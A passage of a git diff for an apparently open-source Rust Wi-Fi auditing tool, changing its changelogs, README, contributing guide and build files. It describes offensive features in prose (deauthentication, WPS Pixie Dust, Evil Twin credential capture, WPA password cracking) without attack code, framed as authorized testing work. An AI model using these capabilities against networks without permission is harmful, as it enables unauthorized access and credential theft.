body: fs.readFileSync('notes.md', 'utf8'),
draft: false,
});
+27 -5
View File
@@ -1,13 +1,21 @@
/target
# Build
target/
apps/gui/src-tauri/target/
node_modules/
*.img
*.guara-session.json
.DS_Store
**/*.rs.bk
# Capturas e estado local do Sabiá
*.pcap
*.cap
.sabia-audit.log
node_modules/
apps/gui/src-tauri/target
# Configuração e memória local de agentes de IA — não faz parte do
# produto, fica só na máquina de desenvolvimento.
# Logo copiada para a interface pelo build.rs
/apps/gui/ui/logo.png
# Configuração e memória local de agentes de IA — não faz parte do produto
.claude/
.wolf/
.opencode/
@@ -18,3 +26,17 @@ apps/gui/src-tauri/target
CLAUDE.md
AGENTS.md
GEMINI.md
# Variáveis de ambiente locais (o setup do Superset copia da raiz)
.env
.env.*
# Lixo local
*.eml
__pycache__/
*.pyc
# Pacotes gerados por scripts/package-cli.sh
/guara-v*
/sabia-v*
/dist-gui
+105
View File
@@ -4,6 +4,111 @@
Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow SemVer.
## [1.0.3] - 2026-10-30
### Fixed
- `deauth_directional` had no `#[cfg(target_os = "linux")]` of its own; every
non-Linux build failed with a duplicate-definition error and unresolved
Linux-only imports. `v1.0.1` and `v1.0.2` never got a working Windows
desktop app for this reason, and `v1.0.2`'s Linux package was mislabeled
`1.0.1` (the version in `Cargo.toml` was not bumped). Use `v1.0.3`.
## [1.0.2] - 2026-10-30
### Fixed
- The desktop app build on CI looked for its bundle under `target/`, but the
runner's Cargo target directory is elsewhere and persists between runs; the
Linux and Windows jobs failed before publishing anything. `v1.0.1`'s desktop
app was never published for this reason — use `v1.0.2`.
## [1.0.1] - 2026-10-30
The project moved from GitHub to Gitea, and the update check followed it.
### Changed
- **Updates now come from Gitea.** `sabia update` and the desktop app's "Update now"
read the latest release from `git.lucasrguerra.dev.br` instead of the GitHub API.
Versions up to 1.0.0 still look at GitHub, which is no longer reachable, so they
cannot find this release: download 1.0.1 once, and later updates are automatic.
- Release packages: the CLI for Linux x86_64 and aarch64 (built by the Gitea CI when
a `v*` tag is pushed, with a `.sha256` next to each package), and the desktop app
for Linux (`.AppImage`, `.deb`) and Windows (NSIS `.exe` installer, cross-compiled
from Linux by `scripts/build-gui.sh`). **There is no Windows CLI and no macOS build
any more**: the CLI is Linux-only, and macOS needs Apple's SDK and code signing,
which this project's CI cannot provide.
### Fixed
- `sabia update` refuses to run from the desktop app's executable (`sabia-gui`).
The release package contains the CLI, and replacing the app with it would have
broken the app; the app now points to the downloads page instead.
## [1.0.0] - 2026-10-24
First stable release: real-hardware validation across the whole attack surface, a much more complete cracking pipeline, two new attacks (WPS, Evil Twin), a redesigned report, and several reliability fixes found only by testing against live Wi-Fi networks.
### Added
- **Cracking:** default dictionary replaced by a 9.7M-password list (rockyou +
Probable-Wordlists, deduplicated, gzip-embedded); hashcat-style **mutation
rules** (uppercase, numeric/symbol suffixes, simple leet); **mask brute
force** (`?d?l?u?s?a` syntax); **`.hc22000` export** (single or batch) to
hand a handshake to hashcat/John.
- **WPS attack:** PIN/Pixie Dust via a bundled `reaver` (extracted at
runtime), or `bully` when installed on the system.
- **Evil Twin:** clones an already-seen AP (open SSID) on a second interface
with a captive portal, for WPA/WPA2-PSK — the submitted password is only
accepted after being verified against the real captured handshake, never
"accepts anything". An **Enterprise (802.1X/EAP)** variant captures
credentials automatically via `hostapd-wpe`, no portal or human action
needed, since the credential travels in the EAP handshake itself.
- **CCMP traffic decryption** for a client once its handshake's password is
known (Temporal Key derived from the cracked PMK).
- **Channel-interference scoring** per band and **security findings** (open
network, missing PMF, WPS exposed, possible evil twin by duplicate SSID).
- **Redesigned audit report:** full-page cover with embedded logo, table of
contents, running header/footer via `@page` margin boxes (current
section, page numbers), KPI and findings cards with severity colors —
still paginated by Paged.js in the browser, printable to PDF.
- `ScanSnapshot.warning`: tells you when a capture has been running for a
while without receiving a single frame — a card that accepts turning
monitor mode on without actually delivering capture (common with
built-in laptop Wi-Fi) now says so, instead of silently "listening".
### Fixed
- **Handshake capture never completed on real networks:** `eapol.rs` read
`key_info`/`replay_counter`/`key_data_len` as little-endian; those
802.1X fields are big-endian. Deauth worked, EAPOL frames were seen, but
`HandshakeTracker` silently discarded every one — 0 handshakes no matter
how much traffic was generated. The project's own synthetic test frames
made the same mistake symmetrically, so round-trip tests never caught
it; verified live against a real AP after the fix.
- **Monitor mode fighting NetworkManager:** `set_monitor()` now releases
the interface from NetworkManager before switching modes and returns it
afterward — without this, NM reasserted its own connection within
seconds and capture died with "is in managed mode".
- **Evil Twin left the system half-configured if the process died mid-run**
(Ctrl+C, `kill -9`, power loss): both interfaces stuck `managed=no`
forever, Wi-Fi gone from the system panel. A state file plus a
self-healing pass on every engine start now undoes this automatically;
`sabia ui` also handles SIGINT gracefully.
- **Repeated deauth/disassoc frames were dropped as duplicates** after the
first send — the same Sequence Control was reused on every injection;
now increments per frame.
- **Network list reordered under the cursor** during capture, as signal-based
sorting reacted to every 1-2 dBm fluctuation; order is now stable
(arrival order, signal rounded to 4 dBm buckets).
- **"Force handshake" failed if capture had been stopped:** it now resumes
capture automatically and waits for the target to reappear with a known
channel before starting the job, instead of locking onto whatever
channel the scanner happened to be hopping through.
- **Attacks tab layout left large empty gaps** when two cards of very
different heights shared a grid row; switched to a masonry-style column
layout.
### Changed
- `crack_reader`/`crack_mask` parallelize across available cores and reuse
the HMAC base per iteration instead of reconstructing it — roughly 640x
faster in release builds versus the original debug/single-thread path.
## [0.1.0] - 2026-10-23
First release: CLI, desktop app and shared core.
+111
View File
@@ -4,6 +4,117 @@
Formato baseado em [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/); versões seguem SemVer.
## [1.0.3] - 2026-10-30
### Corrigido
- O `deauth_directional` não tinha o próprio `#[cfg(target_os = "linux")]`;
todo build fora do Linux falhava com uma definição duplicada e imports só de
Linux fora de escopo. Por isso a `v1.0.1` e a `v1.0.2` nunca tiveram um app
desktop funcional para Windows, e o pacote Linux da `v1.0.2` saiu rotulado
`1.0.1` (a versão no `Cargo.toml` não tinha sido atualizada). Use a `v1.0.3`.
## [1.0.2] - 2026-10-30
### Corrigido
- O build do app desktop no CI procurava o pacote em `target/`, mas o
diretório do Cargo no runner é outro e persiste entre execuções; os jobs de
Linux e Windows falhavam antes de publicar qualquer coisa. Por isso o app
desktop da `v1.0.1` nunca foi publicado — use a `v1.0.2`.
## [1.0.1] - 2026-10-30
O projeto saiu do GitHub para o Gitea, e a verificação de atualização foi junto.
### Alterado
- **As atualizações agora vêm do Gitea.** O `sabia update` e o "Atualizar agora" do app
desktop leem a última release em `git.lucasrguerra.dev.br`, e não mais a API do
GitHub. As versões até a 1.0.0 ainda olham o GitHub, que não responde mais, e por isso
não enxergam esta release: baixe a 1.0.1 uma vez, e as próximas atualizações são automáticas.
- Pacotes da release: o CLI para Linux x86_64 e aarch64 (compilado pelo CI do Gitea
quando uma tag `v*` é enviada, com um `.sha256` ao lado de cada pacote) e o app desktop
para Linux (`.AppImage`, `.deb`) e Windows (instalador NSIS `.exe`, compilado a partir
do Linux pelo `scripts/build-gui.sh`). **Não há mais CLI para Windows nem build para
macOS**: o CLI é só para Linux, e o macOS exige o SDK e a assinatura da Apple, que o CI
deste projeto não tem.
### Corrigido
- O `sabia update` se recusa a rodar a partir do executável do app desktop (`sabia-gui`).
O pacote da release contém o CLI, e trocar o app por ele o quebraria; o app passa a
apontar para a página de downloads.
## [1.0.0] - 2026-10-24
Primeira versão estável: validação em hardware real por toda a superfície de ataque, um pipeline de quebra bem mais completo, dois ataques novos (WPS, Evil Twin), relatório redesenhado e várias correções de confiabilidade que só apareceram testando contra redes Wi-Fi de verdade.
### Adicionado
- **Quebra de senha:** dicionário padrão trocado por uma lista de 9,7 milhões
de senhas (rockyou + Probable-Wordlists, deduplicados, comprimida e
embutida no binário); **regras de mutação** estilo hashcat (maiúscula,
sufixos numéricos/símbolos, leet simples); **força bruta por máscara**
(sintaxe `?d?l?u?s?a`); **exportação `.hc22000`** (individual ou em lote)
para levar o handshake direto ao hashcat/John.
- **Ataque WPS:** PIN/Pixie Dust via `reaver` embutido (extraído em tempo de
execução), ou `bully` quando instalado no sistema.
- **Evil Twin:** clona um AP já visto na sessão (SSID aberto) numa segunda
interface com portal cativo, para WPA/WPA2-PSK — a senha só é aceita
depois de conferida de verdade contra o handshake real já capturado,
nunca "aceita qualquer coisa". Uma variante **Enterprise (802.1X/EAP)**
captura credenciais automaticamente via `hostapd-wpe`, sem portal nem
ação humana, já que a credencial viaja no próprio handshake EAP.
- **Decriptação de tráfego CCMP** de um cliente assim que a senha do
handshake dele é conhecida (Temporal Key derivada da PMK quebrada).
- **Pontuação de interferência de canais** por banda e **achados de
segurança** (rede aberta, PMF ausente, WPS exposto, possível evil twin
por SSID duplicado).
- **Relatório de auditoria redesenhado:** capa em página cheia com o logo
embutido, sumário com âncoras, cabeçalho/rodapé corridos via margin
boxes do `@page` (seção atual, numeração de página), cards de KPI e
achados com cor por severidade — a paginação continua feita pelo
Paged.js no navegador, imprimível em PDF.
- `ScanSnapshot.warning`: avisa quando uma captura está rodando há um
tempo sem receber nenhum quadro — uma placa que aceita ativar modo
monitor sem realmente entregar captura (comum em Wi-Fi interno de
notebook) agora diz isso, em vez de ficar "escutando o ar" caladinha.
### Corrigido
- **Captura de handshake nunca completava em rede real:** `eapol.rs` lia
`key_info`/`replay_counter`/`key_data_len` como little-endian; esses
campos do 802.1X são big-endian. O deauth funcionava, os quadros EAPOL
eram vistos, mas o `HandshakeTracker` descartava todos silenciosamente —
0 handshakes não importa quanto tráfego fosse gerado. Os próprios
quadros sintéticos de teste do projeto cometiam o mesmo engano
simetricamente, então os testes de ida e volta nunca pegaram isso;
verificado ao vivo contra um AP real depois da correção.
- **Modo monitor brigando com o NetworkManager:** `set_monitor()` agora
solta a interface do NetworkManager antes de trocar de modo e devolve
depois — sem isso o NM reafirmava a própria conexão em segundos e a
captura caía com "está em modo managed".
- **Evil Twin deixava o sistema pela metade se o processo morresse no
meio** (Ctrl+C, `kill -9`, queda de energia): as duas interfaces ficavam
presas em `managed=no` pra sempre, Wi-Fi sumia do painel do sistema. Um
arquivo de estado mais uma rotina de autocura a cada início do engine
desfazem isso sozinhos agora; o `sabia ui` também trata SIGINT
graciosamente.
- **Quadros repetidos de deauth/disassoc eram descartados como duplicata**
depois do primeiro envio — o mesmo Sequence Control era reusado em toda
injeção; agora incrementa por quadro.
- **Lista de redes reordenava debaixo do cursor** durante a captura, porque
a ordenação por sinal reagia a cada oscilação de 1-2 dBm; a ordem agora
é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm).
- **"Forçar handshake" falhava se a captura tivesse sido parada:** agora
religa a captura sozinho e espera o alvo reaparecer com canal conhecido
antes de disparar o job, em vez de travar no canal em que o scanner por
acaso estava saltando.
- **Grid da aba Ataques deixava buracos vazios grandes** quando dois cards
de alturas muito diferentes caíam na mesma linha; trocado por um layout
de colunas tipo alvenaria.
### Alterado
- `crack_reader`/`crack_mask` paralelizam entre os núcleos disponíveis e
reaproveitam a base do HMAC por iteração em vez de reconstruí-la — cerca
de 640x mais rápido em build release comparado ao caminho original
debug/single-thread.
## [0.1.0] - 2026-10-23
Primeira versão: CLI, app desktop e núcleo compartilhado.
+11 -6
View File
@@ -11,15 +11,20 @@ Thanks for helping! Golden rules:
## Workflow
```bash
cargo fmt --all
cargo clippy --workspace --all-targets # as in CI (RUSTFLAGS=-D warnings)
cargo test --workspace
node scripts/check-ui-i18n.mjs # UI translation coverage
scripts/instalar-hooks.sh # once: runs the quick check before every push
scripts/verificar.sh # fast (seconds): fmt, clippy as in CI, i18n, scripts, workflows
scripts/verificar.sh --completo # adds cargo test --workspace and cargo audit
```
CI runs on Linux, Windows and macOS; run these before pushing — almost everything that fails CI shows up here in seconds. Documentation-only changes (`*.md`, `docs/`) are light on CI.
CI runs on Linux; run the check before pushing: almost everything that fails CI shows up here in seconds. Documentation-only changes (`*.md`, `docs/`) skip CI.
Live capture exists only on Linux (`AF_PACKET` + netlink); on Windows and macOS those paths compile but aren't exercised. Parsing and cracking tests run on all three, because they're offline.
Live capture exists only on Linux (`AF_PACKET` + netlink); the code behind Windows and macOS paths still compiles and is covered by `cargo check`.
## Releases
Pushing a `v*` tag makes the Gitea CI create the release (notes come from `CHANGELOG.md`, so update it first) and attach the Linux CLI (x86_64 and aarch64) and the desktop app for Linux (x86_64 and aarch64) and Windows.
There is no macOS build: it needs Apple's SDK and code signing, which a Linux runner cannot provide.
## Where to work
+11 -6
View File
@@ -11,15 +11,20 @@ Obrigado por ajudar! Regras de ouro:
## Fluxo
```bash
cargo fmt --all
cargo clippy --workspace --all-targets # como no CI (RUSTFLAGS=-D warnings)
cargo test --workspace
node scripts/check-ui-i18n.mjs # cobertura da tradução da interface
scripts/instalar-hooks.sh # uma vez: roda a verificação rápida antes de cada push
scripts/verificar.sh # rápido (segundos): fmt, clippy como no CI, tradução, scripts, workflows
scripts/verificar.sh --completo # inclui cargo test --workspace e cargo audit
```
O CI roda em Linux, Windows e macOS; rode esses comandos antes do push — quase tudo que faz o CI falhar aparece aqui em segundos. Mudanças só de documentação (`*.md`, `docs/`) são leves no CI.
O CI roda em Linux; rode a verificação antes do push: quase tudo que faz o CI falhar aparece aqui em segundos. Mudanças só de documentação (`*.md`, `docs/`) pulam o CI.
A captura ao vivo só existe no Linux (`AF_PACKET` + netlink); em Windows e macOS esses caminhos são compilados mas não exercitados. Testes de parsing e de quebra rodam nas três plataformas, porque são offline.
A captura ao vivo só existe no Linux (`AF_PACKET` + netlink); o código dos caminhos de Windows e macOS continua compilando e é coberto pelo `cargo check`.
## Releases
Enviar uma tag `v*` faz o CI do Gitea criar a release (as notas vêm do `CHANGELOG.md`, então atualize-o antes) e anexar o CLI para Linux (x86_64 e aarch64) e o app desktop para Linux (x86_64 e aarch64) e Windows.
Não há build para macOS: ele exige o SDK e a assinatura da Apple, que um runner Linux não tem.
## Onde mexer
Generated
+75 -2
View File
@@ -2,6 +2,23 @@
# It is not intended for manual editing.
version = 3
[[package]]
name = "adler2"
version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
[[package]]
name = "aes"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
dependencies = [
"cfg-if",
"cipher",
"cpufeatures",
]
[[package]]
name = "anstream"
version = "1.0.0"
@@ -88,6 +105,16 @@ version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
[[package]]
name = "cipher"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
dependencies = [
"crypto-common",
"inout",
]
[[package]]
name = "clap"
version = "4.6.7"
@@ -143,6 +170,15 @@ dependencies = [
"libc",
]
[[package]]
name = "crc32fast"
version = "1.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ba106e844045ddc02c20768ac4b0b7cb45f2cc2ecbd833ac9f5dacb183c2055"
dependencies = [
"cfg-if",
]
[[package]]
name = "crypto-common"
version = "0.1.7"
@@ -209,6 +245,16 @@ version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
[[package]]
name = "flate2"
version = "1.1.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb"
dependencies = [
"crc32fast",
"miniz_oxide",
]
[[package]]
name = "generic-array"
version = "0.14.7"
@@ -245,6 +291,15 @@ dependencies = [
"digest",
]
[[package]]
name = "inout"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
dependencies = [
"generic-array",
]
[[package]]
name = "is_terminal_polyfill"
version = "1.70.2"
@@ -285,6 +340,16 @@ version = "2.8.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
[[package]]
name = "miniz_oxide"
version = "0.9.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c"
dependencies = [
"adler2",
"simd-adler32",
]
[[package]]
name = "nix"
version = "0.31.3"
@@ -375,7 +440,7 @@ dependencies = [
[[package]]
name = "sabia-cli"
version = "0.1.0"
version = "1.0.3"
dependencies = [
"clap",
"ctrlc",
@@ -386,8 +451,10 @@ dependencies = [
[[package]]
name = "sabia-core"
version = "0.1.0"
version = "1.0.3"
dependencies = [
"aes",
"flate2",
"hmac",
"libc",
"md-5",
@@ -465,6 +532,12 @@ dependencies = [
"digest",
]
[[package]]
name = "simd-adler32"
version = "0.3.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea"
[[package]]
name = "strsim"
version = "0.11.1"
+6 -2
View File
@@ -3,10 +3,10 @@ resolver = "2"
members = ["crates/sabia-core", "crates/sabia-cli"]
[workspace.package]
version = "0.1.0"
version = "1.0.3"
edition = "2021"
license = "MIT OR Apache-2.0"
repository = "https://github.com/lucasrguerra/sabia"
repository = "https://git.lucasrguerra.dev.br/lucasrguerra/sabia"
authors = ["Sabiá contributors"]
rust-version = "1.80"
@@ -15,3 +15,7 @@ lto = "thin"
codegen-units = 1
opt-level = 3
strip = true
panic = "abort"
[profile.dev.package."*"]
opt-level = 3
+24 -21
View File
@@ -1,8 +1,8 @@
<p align="center"><img src="apps/gui/ui/sabia.png" width="300" alt="Sabiá"></p>
<p align="center"><img src="logo.png" width="300" alt="Sabiá"></p>
<h1 align="center">Sabiá</h1>
<p align="center">Free and open Wi-Fi auditing.<br>Terminal and desktop app · live capture on Linux, offline analysis on Windows, Linux and macOS · authorized use.</p>
<p align="center">Free and open Wi-Fi auditing.<br>Terminal and desktop app · live capture on Linux, offline analysis on Windows too · authorized use.</p>
<p align="center"><a href="docs/cli.md">Terminal</a> · <a href="docs/interface.md">Interface</a> · <a href="docs/architecture.md">Architecture</a> · <a href="ROADMAP.md">Roadmap</a> · <a href="CHANGELOG.md">Changelog</a></p>
<p align="center"><a href="docs/cli.md">Terminal</a> · <a href="docs/interface.md">Interface</a> · <a href="docs/architecture.md">Architecture</a> · <a href="docs/support.md">Support</a> · <a href="ROADMAP.md">Roadmap</a> · <a href="CHANGELOG.md">Changelog</a></p>
<p align="center"><b>English</b> · <a href="README.pt-BR.md">Português</a></p>
@@ -10,12 +10,14 @@
Sabiá brings together, in a single sweep, what tools like `airodump-ng`, `hcxdumptool`, `aircrack-ng` and `wifite` do separately — in one Rust binary, with no `libpcap` dependency:
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal and security type.
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, and shows which channels the radio supports.
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs.
- **Offline dictionary cracking:** recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — for WPA/WPA2-PSK.
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal, security type, WPS details and vendor.
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, recovering automatically if NetworkManager tries to reclaim the interface, and shows which channels the radio supports.
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs; decrypts CCMP traffic for a client once its password is known.
- **Cracking, three ways:** dictionary (9.7M passwords bundled by default, rockyou + Probable-Wordlists), hashcat-style **mutation rules**, and **mask brute force** (`?d?l?u?s?a`) — recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** — for WPA/WPA2-PSK. Export to **`.hc22000`** to hand the handshake to hashcat/John instead.
- **pcap round-trip:** writes captured frames to `.pcap` and **analyzes a `.pcap` offline** (networks, clients and handshakes), interoperable with the other tools.
- **Deauthentication test:** sends _deauth_ to an AP/station to force a reassociation — only with an explicit authorization confirmation (`--yes`).
- **Deauthentication and WPS:** directional/continuous _deauth_, PMF probing, clientless PMKID hunting, and a WPS PIN/Pixie Dust attack (bundled reaver, or bully when installed) — all gated behind an explicit authorization confirmation (`--yes` / checkbox).
- **Evil Twin:** clones an already-seen AP with a captive portal for WPA/WPA2-PSK — the submitted password is only accepted after it's verified against the real captured handshake, never "accepts anything" — plus an Enterprise (802.1X/EAP) variant that captures credentials automatically, no portal needed.
- **Audit report:** a paginated, printable report (cover, table of contents, findings, channel scoring, audit trail) generated locally.
- **Audit trail:** every monitor-mode activation and capture session is recorded in a local **hash-chained** trail.
- **Diagnostics:** `doctor` checks privileges, tools and interfaces before you start.
@@ -35,17 +37,18 @@ Download the package for your system from **[Releases](../../releases)**:
| | CLI | Desktop app |
|---|---|---|
| Windows | `sabia-*-windows-x86_64.zip` | `.msi` / `.exe` installer |
| macOS | `sabia-*-macos-{aarch64,x86_64}.tar.gz` | `.dmg` |
| Windows | — | `.exe` installer |
| Linux | `sabia-*-linux-{x86_64,aarch64}.tar.gz` | `.AppImage` / `.deb` |
Each file has a `.sha256` next to it. Build from source: `cargo build --release -p sabia-cli` (Rust 1.80+).
The CLI is Linux-only; the desktop app ships for Linux and Windows. Each CLI
package has a `.sha256` next to it. Build from source: `cargo build --release
-p sabia-cli` (Rust 1.80+, Linux).
**Updates:** the desktop app checks GitHub on startup; when a new version exists, a button offers **Update now**: it downloads the right binary for your platform, verifies the **SHA-256** and swaps the running executable — no manual download. The check is a single request to the releases API and sends nothing of yours.
**Updates:** the desktop app checks Gitea on startup; when a new version exists, a button offers **Update now**. The CLI updates the same way (`sabia update`); it downloads the right binary for your platform, verifies the **SHA-256** and swaps the running executable — no manual download. The check is a single request to the releases API and sends nothing of yours.
> The binaries are **not signed yet**: Windows SmartScreen and macOS Gatekeeper will warn. Check the SHA-256.
> The binaries are **not signed yet**: Windows SmartScreen will warn. Check the SHA-256.
**Capture and monitor mode require Linux and root** (`CAP_NET_ADMIN`/`CAP_NET_RAW`): raw capture uses `AF_PACKET` and interface control uses netlink. **Offline `.pcap` analysis and cracking** also run on Windows and macOS. The desktop app elevates to administrator on its own at startup.
**Capture and monitor mode require Linux and root** — the only platform the CLI ships for (`CAP_NET_ADMIN`/`CAP_NET_RAW`): raw capture uses `AF_PACKET` and interface control uses netlink. **Offline `.pcap` analysis and cracking** also run on Windows and macOS. The desktop app elevates to administrator on its own at startup.
## Getting started
@@ -72,11 +75,11 @@ Desktop app (Tauri) with an interface sidebar, a capture panel with an animated
## Known limits
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`). On Windows and macOS Sabiá only does `.pcap` analysis and offline cracking.
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`); the CLI is not built for other platforms. On Windows Sabiá's desktop app only does `.pcap` analysis and offline cracking.
- **WPA3/SAE** does not fall to handshake dictionaries — cracking covers **WPA/WPA2-PSK** (4-way and PMKID).
- **5 and 6 GHz** depend on the card and the regulatory domain; some channels stay passive (no probing).
- **Passwords outside the dictionary don't come back:** cracking is dictionary force only, no rules or masks yet.
- **Windows and macOS:** the code compiles and is tested in CI, but live capture does not run on those platforms.
- **Evil Twin's self-signed certificate:** the Enterprise variant's TLS certificate isn't trusted by clients that validate the chain (common on updated corporate/MDM devices) — that's the correct defense working, not a bug.
- **Windows:** the code compiles and is tested in CI, but live capture does not run there; the desktop app does offline analysis only. There is no macOS build: Tauri needs the macOS SDK and code signing, both tied to Apple hardware and an Apple Developer account, which this project's CI (a single Linux runner) does not have.
## Where it's going
@@ -84,10 +87,10 @@ Summary of the [ROADMAP](ROADMAP.md):
| | |
|---|---|
| **Done** | Monitor mode via netlink, 2.4/5/6 GHz scanning, 4-way and PMKID capture, `.pcap` read/write, dictionary cracking (WPA/WPA2-PSK), authorized `deauth`, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
| **Next** | Rules and masks in cracking, GPU acceleration, export to the hashcat format (`22000`) |
| **Later** | WPS attack, rogue AP / evil twin for authorized testing, capture on Windows (Npcap) |
| **Long term** | WPA3/SAE downgrade, validation on varied hardware |
| **Done** | Monitor mode via netlink (with NetworkManager recovery), 2.4/5/6 GHz scanning, 4-way and PMKID capture, CCMP decryption, dictionary/rules/mask cracking (WPA/WPA2-PSK), `.hc22000` export, `.pcap` read/write, authorized `deauth`/PMF/PMKID, WPS attack, Evil Twin (PSK + Enterprise), channel scoring and findings, paginated audit report, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
| **Next** | GPU acceleration for cracking, capture on Windows (Npcap) |
| **Not planned** | A macOS build — see [Known limits](#known-limits) |
| **Later** | WPA3/SAE downgrade, validation on varied hardware, signed release binaries |
## Development
+24 -21
View File
@@ -1,8 +1,8 @@
<p align="center"><img src="apps/gui/ui/sabia.png" width="300" alt="Sabiá"></p>
<p align="center"><img src="logo.png" width="300" alt="Sabiá"></p>
<h1 align="center">Sabiá</h1>
<p align="center">Auditoria de Wi-Fi livre e gratuita.<br>Terminal e interface gráfica · captura no Linux, análise offline em Windows, Linux e macOS · uso autorizado.</p>
<p align="center">Auditoria de Wi-Fi livre e gratuita.<br>Terminal e interface gráfica · captura no Linux, análise offline também em Windows · uso autorizado.</p>
<p align="center"><a href="docs/pt-BR/cli.md">Terminal</a> · <a href="docs/pt-BR/interface.md">Interface</a> · <a href="docs/pt-BR/arquitetura.md">Arquitetura</a> · <a href="ROADMAP.pt-BR.md">Roadmap</a> · <a href="CHANGELOG.pt-BR.md">Changelog</a></p>
<p align="center"><a href="docs/pt-BR/cli.md">Terminal</a> · <a href="docs/pt-BR/interface.md">Interface</a> · <a href="docs/pt-BR/arquitetura.md">Arquitetura</a> · <a href="docs/pt-BR/suporte.md">Suporte</a> · <a href="ROADMAP.pt-BR.md">Roadmap</a> · <a href="CHANGELOG.pt-BR.md">Changelog</a></p>
<p align="center"><a href="README.md">English</a> · <b>Português</b></p>
@@ -10,12 +10,14 @@
O Sabiá junta, numa única varredura, o que ferramentas como `airodump-ng`, `hcxdumptool`, `aircrack-ng` e `wifite` fazem separadamente — em um só binário Rust, sem depender de `libpcap`:
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal e tipo de segurança.
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, e mostra os canais que o rádio suporta.
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline.
- **Quebra offline por dicionário:** recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — para WPA/WPA2-PSK.
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal, tipo de segurança, detalhes de WPS e fabricante.
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, com recuperação automática se o NetworkManager tentar retomar a interface, e mostra os canais que o rádio suporta.
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline; decifra tráfego CCMP de um cliente assim que a senha dele é conhecida.
- **Quebra, de três jeitos:** dicionário (9,7 milhões de senhas por padrão, rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara** (`?d?l?u?s?a`) — recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** — para WPA/WPA2-PSK. Exporta em **`.hc22000`** para levar o handshake direto ao hashcat/John.
- **pcap de ida e volta:** grava os quadros capturados em `.pcap` e **analisa um `.pcap` offline** (redes, clientes e handshakes), compatível com as outras ferramentas.
- **Teste de desautenticação:** envia _deauth_ a um AP/estação para forçar uma reassociação — só com a confirmação explícita de autorização (`--yes`).
- **Desautenticação e WPS:** _deauth_ direcional/contínuo, teste de PMF, caça de PMKID sem cliente, e ataque WPS PIN/Pixie Dust (reaver embutido, ou bully quando instalado) — tudo atrás de confirmação explícita de autorização (`--yes`/checkbox).
- **Evil Twin:** clona um AP já visto com portal cativo para WPA/WPA2-PSK — a senha só é aceita depois de conferida contra o handshake real já capturado, nunca "aceita qualquer coisa" — mais uma variante Enterprise (802.1X/EAP) que captura credenciais automaticamente, sem portal.
- **Relatório de auditoria:** relatório paginado e imprimível (capa, sumário, achados, pontuação de canais, trilha de auditoria) gerado localmente.
- **Trilha de auditoria:** toda ativação de modo monitor e sessão de captura fica registrada numa trilha local **encadeada por hash**.
- **Diagnóstico:** o `doctor` confere privilégios, ferramentas e interfaces antes de você começar.
@@ -35,17 +37,18 @@ Baixe o pacote do seu sistema em **[Releases](../../releases)**:
| | CLI | App gráfico |
|---|---|---|
| Windows | `sabia-*-windows-x86_64.zip` | instalador `.msi` / `.exe` |
